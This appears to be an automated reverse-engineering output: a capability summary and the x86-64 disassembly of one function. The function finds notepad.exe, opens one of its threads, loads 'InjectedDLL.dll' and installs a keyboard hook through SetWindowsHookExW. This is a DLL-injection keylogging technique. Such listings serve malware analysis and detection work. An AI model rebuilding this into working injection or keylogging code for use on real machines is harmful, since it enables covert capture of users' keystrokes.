Function at 0x140034240
Capabilities:
Enumerate processes
Enumerate threads
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x4c0
mov rax, qword [0x1400c7080]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
movups xmm0, xmmword [str.InjectedDLL.dll]
xor eax, eax
lea rdi, [rsp + 0x40]
movups xmm1, xmmword [0x1400b4a20]
mov ecx, 0x238
xor edx, edx
rep stosb byte [rdi], al
lea ecx, [rax + 2]
movups xmmword [rsp + 0x280], xmm0
movups xmmword [rsp + 0x290], xmm1
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400343db
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400342d9
lea rcx, str.Process32First
call fcn.140032a70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14003447c
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140034339
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140034329
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x140034339
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140034301
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14003447c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x48]
test ebx, ebx
je 0x1400343e7
mov edx, ebx
lea rcx, str._t___Getting_proc_id:__u_n
call fcn.14002eda0
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400343db
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], Ordinal_35
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1400343d2
nop word [rax + rax]
cmp dword [rsp + 0x20], 0x10
jb 0x1400343c0
cmp dword [rsp + 0x2c], ebx
jne 0x1400343c0
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x20000
call qword [sym.imp.KERNEL32.dll_OpenThread]
test rax, rax
jne 0x1400343ee
lea rcx, [0x1400b7710]
call fcn.140032a70
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140034390
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1400b7600]
call fcn.140032a70
xor eax, eax
jmp 0x14003447c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rsp + 0x28]
test edi, edi
je 0x1400343e7
mov edx, edi
mov qword [rsp + 0x4d0], rsi
lea rcx, str._t___Getting_main_thread_id_of_proc_id:__u_n
call fcn.14002eda0
xor r9d, r9d
lea r8, [rsp + 0x2a0]
mov edx, 0x104
lea rcx, [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rsp + 0x2a0]
lea rcx, str._t___Full_DLL_Path:__s_n
call fcn.14002eda0
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
jne 0x14003449d
lea rcx, str.LoadLibrary
call fcn.140032a70
xor eax, eax
mov rsi, qword [rsp + 0x4d0]
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.140098760
mov rbx, qword [rsp + 0x4d8]
add rsp, 0x4c0
pop rdi
ret
lea rcx, str._t___Looking_for_MyProc_in_our_dll_n
call fcn.14002eda0
lea rdx, str.MyProc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400344ca
lea rcx, [0x1400b4b48]
jmp 0x14003446d
mov rdx, rbx
lea rcx, str._t___Found_at_0x_p_n
call fcn.14002eda0
mov r9d, edi
mov r8, rsi
mov rdx, rbx
mov ecx, 2
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
test rax, rax
jne 0x1400344fe
lea rcx, str.SetWindowsHookEx
jmp 0x14003446d
lea rcx, str.SetWindowsHookEx_created_successfully_..._n
call fcn.14002eda0
mov eax, 1
jmp 0x140034474